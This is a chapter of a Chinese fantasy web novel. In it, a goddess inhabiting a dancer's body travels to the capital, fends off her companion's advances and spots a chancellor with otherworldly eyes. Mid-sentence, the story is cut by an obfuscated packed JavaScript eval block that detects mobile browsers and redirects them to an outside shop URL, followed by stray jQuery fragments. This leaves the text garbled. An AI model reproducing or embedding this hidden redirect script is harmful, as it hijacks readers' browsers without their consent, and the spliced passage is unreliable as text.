49. 步步为营
作品:《浮世隐》 七日后,青州前往金安城的车队,在晨雾中准时启程。
璇音心里清楚,棠鸢能借由她的神识“复活”已是奇迹。所谓的“养伤”,不过是蒋辞求个心安,亦是做给旁人看的一场体面形式罢了。
蒋辞正扶着她,欲引她登上自己的马车。
“让棠鸢姐姐与我同乘吧,路上我们女子之间也好有个照应。”
蒋芸与那位新花魁黛儿一前一后从府门出来,行至她们的马车前,朝着这边热情招呼。
璇音立刻察觉到,蒋辞扶着她手臂的力道微微一滞。她心下一凛,若他应允了,于她无异于羊入虎口。
她当机立断,弱柳般的身子朝着蒋辞倚靠过去,垂眸扶额。
“怎么了?”蒋辞低声关切道。
“许是......方才那碗药的缘故,头有些晕。”
蒋辞闻言,回绝道:“不必了,我来照顾她。”
车厢内,光线微暗。
璇音的目光悄然落在对面的蒋辞身上。
他的皮肤是那种长年居于深宅、少见风日的苍白。身形修长,却肩线单薄,带着一股被锦衣玉食供养出来的、未经风雨的脆弱文雅。然而,不得不承认,那低垂的侧脸轮廓,在晃动的光影里,倒也算得上清秀,只是这种“好看”,如被精心修剪的瓶花,只能观赏一季罢了。
仿佛感受到注视的分量,蒋辞忽然偏过头,望向蜷缩在车厢角落、一路沉默的“棠鸢”。
“鸢儿......”他这一声轻唤,带着些许迟疑,反倒让璇音瞬间收回了思绪。“是......还有哪里不适吗?”
璇音只是摇了摇头,并未言语。
启程前,她便托蒋辞命府中绣娘赶制了一副薄纱面帘。此刻,那轻纱恰到好处地遮住了她左颊的伤痕,只露出一双眼眸与蒋辞对视着。
“鸢儿,”蒋辞再度开口,“那日接你回来的路上,究竟发生了什么?”
“你之前已问过,只是遇到了......”
“不。”他打断她,语气坚持,“此刻只有你我二人,你要信我。有何事,我定会为你做主。”
做主?
璇音隐在面帘后的唇角微微动了动,在蒋府尚需顾着蒋笙的威严,如今出了青州,他又有多大的权利护她周全?
“接应的援兵回报,囚车莫名坍塌,现场发现的尸体中,有两具来历不明。若按你所说只是寻常强盗,怎会有那般利落的身手?”
“那你的意思是......?”璇音顺势将问题抛回。
“他们是杀手,对吗?”虽是问句,但口气听起来,完全是他对自己的论断充满肯定。
璇音本不想吐露实情,但转念一想,蒋辞既已生疑,若再隐瞒,只会让他猜想更多,平添变数。
她缓缓点头,声音放得轻弱:“我......我当时吓坏了,只瞧见那两人突然出现,与官兵们混战在一起,到处......都是血。”
说着,她配合地瑟缩了一下,将自己显得更加脆弱无助。
蒋辞见她如此,立刻挪身坐到她侧旁,伸手欲将她揽入怀中。
璇音心底是抗拒的,虽在外人面前需作亲密,私下却极不愿与他靠近。她环抱住自己双肩,避开了他探来的手,将身子更紧地贴向车厢壁角。
“我没事。”
蒋辞被她这忽近忽远的态度搅得心绪不宁。曾经的棠鸢与他早已海誓山盟,更有肌肤之亲。可自她归来,私下里却总是这般疏离。
“你与昭王相识?”他猝然发问,目光紧紧盯住她。
听到这句话,璇音恍然大悟。原来他更在意的是那日出手相救之人的身份。几乎同时,她想起蒋笙对着手下追问的那句“谁?”,想必指的也是此人。
看来,若能借势于此,她生存的希望便能更多些。
熟虑片刻,她缓缓颔首。
“你们......是何时认识的?”
“是王爷的人救了我。”她编了个答案。
蒋辞狐疑地审视着她,眸色逐渐暗沉下去。
“你......与他......”
“蒋郎多虑了。”璇音听出了他言语中的猜疑,不是对棠鸢这个人,而是对舞姬这个身份。
“我与他不过是萍水相逢。于王爷而言,我不过是个落难的平民罢了。如今我这副模样......也唯有你还念着旧情,怜悯我、收留我。”
“我并非此意......”
璇音顺势将头轻轻靠上他的肩头。他垂眸对上她的视线,一双眼睛就足以让他情不自禁,他抬手探入面纱,托起她的下颌。
眼见他的唇越靠越近,璇音猛地偏过头,掩口打了个喷嚏。
“在东青岛便染了风寒,虽在府中服了药,想来还未好利索。”她语带歉然,“我不想过了病气给你。”
“无妨......来日方长。”蒋辞动作一滞,迷离的眼神逐渐恢复理智,终是悻悻然收回了手,“先养好身体吧。”
璇音轻轻吁出一口气,绷紧的脊背悄然松弛了半分。
又躲过一劫。
自青州至安州,陆路跋涉十余日,复改水路两日,车队终于踏入安州地界。
抵达金安城时,距那场举世瞩目的繁花盛会,仅剩两日。
璇音未曾料到,棠鸢这具身躯竟有晕船之症。这不仅仅是胃里的翻江倒海,更是一种神识困在凡躯内的无力感。
作为神,她能掌控人界万物,甚至连凡人的心思都能知晓的一清二楚,此刻却连自身的平衡都无法维持,这种“身不由识”,让她有些烦躁。
短短两日水路,折腾得她食不下咽,夜难安寝,本就纤弱的身子又清减了几分,脸颊都微微凹陷下去。
然而,她这幅样子,反而让蒋芸暂时对她放松了警惕,连蒋辞私下里,也不似先前那般总想着与她亲近了。
车帘被她掀开一隙,金安城的景象涌入眼帘——闻讯而来的百姓挤满了安庆大街两侧,正朝着车队欣喜地张望、挥手。
璇音极爱人界的热闹景象,满城洋溢的祥和之气,与天界那般威严肃穆的“大场面”截然不同。在她看来,眼前这鲜活的一切,才更有温度。
她几乎想探出身去,与那些淳朴的百姓打个招呼。若法力尚在,她甚至想悄悄分予他们一些好运气。
但此刻,她的身份与处境皆不容她随心而动,这强忍的感觉,着实令她憋闷。
“鸢儿,一会儿下了马车,跟紧我便是。”蒋辞委婉地嘱咐着。
璇音明白他的言下之意——莫要与旁人言语,更不可引人注目。
“好。”
车队终抵宫门,皇帝早已遣人在此迎候。
蒋辞与蒋芸下了马车后,并肩行于最前,黛儿紧随其后。璇音则识趣地混在侍女队伍前端,始终垂眸望着路面。
一行人穿过三重高阔殿门,经过偌大的广场时,璇音瞥见那里亦行进着几支服饰各异的队伍,想来是其他各州先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773285|181894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行抵达的进贡使团。
霎时,那穿梭往来的人群中,一道身影闯进了她的视线。
她眯起眼睛,让那人的轮廓显的更加清晰,终于,记忆中昭王的脸与眼中人重叠。
而他的身旁,还有一个被他挡住的高大身影。
接下来的觐见流程按部就班。礼毕后,他们被安置在临近皇宫的一处庭院。
此后的两日,璇音不敢放松半分对蒋芸的警惕。她不敢食用任何来历不明的食物与水,唯有与蒋辞一同用膳时,才敢放心些。
除了就寝,她几乎与蒋辞形影不离,入夜后更要将门窗仔细插好。
几乎将一切可能威胁到自身的因素全部排除掉。
但她在蒋辞面前依旧扮演着昔日的棠鸢,自认为未露丝毫破绽。
所有的平静,却在繁花盛会当日被打破。
璇音端坐于首辆花车之内,一扇精美屏风将她的身影全然遮蔽。前方,黛儿正以无可挑剔的舞姿与精准无误的口型,演绎着她的歌声。
“这才是正宗的青州小调嘛!”
“咱们城里唱的,跟这一比可差远喽!”道路两旁百姓热烈的议论声,零星飘进璇音耳中。
她很开心,并非为了自己。这歌声本应由棠鸢亲自唱给安州的百姓。如今她将歌声带离青州,也算完成了棠鸢的一桩心愿。
“棠鸢,你听见了吗?这是你应得的。”璇音在心灵深处轻语。
仿佛是棠鸢残存的意识感受到了这一切,璇音只觉得喉间流转的音韵愈发空灵动人。那一字一句,不再仅仅是技艺的展示,更似灵魂的吟唱,引得闻者愈发如痴如醉。
就连黛儿都忍不住向屏风处频频回首。
按照规程,璇音所在的花车在安庆大街巡游一圈后,便需径直驶入皇宫,其余花车则继续为街巷的百姓表演。
在前往皇宫正殿的路上,璇音听见黛儿刻意放轻、靠近屏风的脚步声。
她瞬间警惕起来,屏息凝神,一只手已无声地探入袖中,握紧了那柄预先藏好的短刀。
“棠鸢,好久不见。”黛儿的声音在屏风后响起,她并未绕过来。
“好久不见,方黛。”体内属于棠鸢的记忆,让璇音脱口唤出这个名字。
这位如今依附蒋芸的新花魁,曾是与她一同习舞的姐妹。
屏风后的方黛沉默片刻,极轻地说了句:
“你要小心。”
璇音蹙眉未应,她分不清这句话的用意,更不知她此刻是何心理。
就在这时,花车猛地一顿,停了下来。
璇音不知外面的状况,“怎么了?”她向屏风后的方黛询问。
“怎么回事?”方黛将她的问话,继续传递给花车随行的侍卫。
“是风大人的车驾。”侍卫恭敬回复,随即响起一片问安声:“丞相万安。”
丞相?
璇音好奇地凑近花车临时搭建的壁板缝隙,向外望去。恰在此时,一旁经过的马车窗帘微动,一双眼睛倏然掠过,与她的视线在空中有了刹那的交叠。
那样的目光......让她不觉浑身一颤!
并非恐惧,而是一种奇特的战栗。
她怔住片刻,猛地再次抬起头。
方才那双眸中,闪过金色与翠色交织的异芒,绝不属于人界。
腿部伤处恰逢时宜的开始隐隐作痛,她只好用掌心去轻抚来缓解疼痛,心中却在反复琢磨——看来,这位风丞相,大有来头。

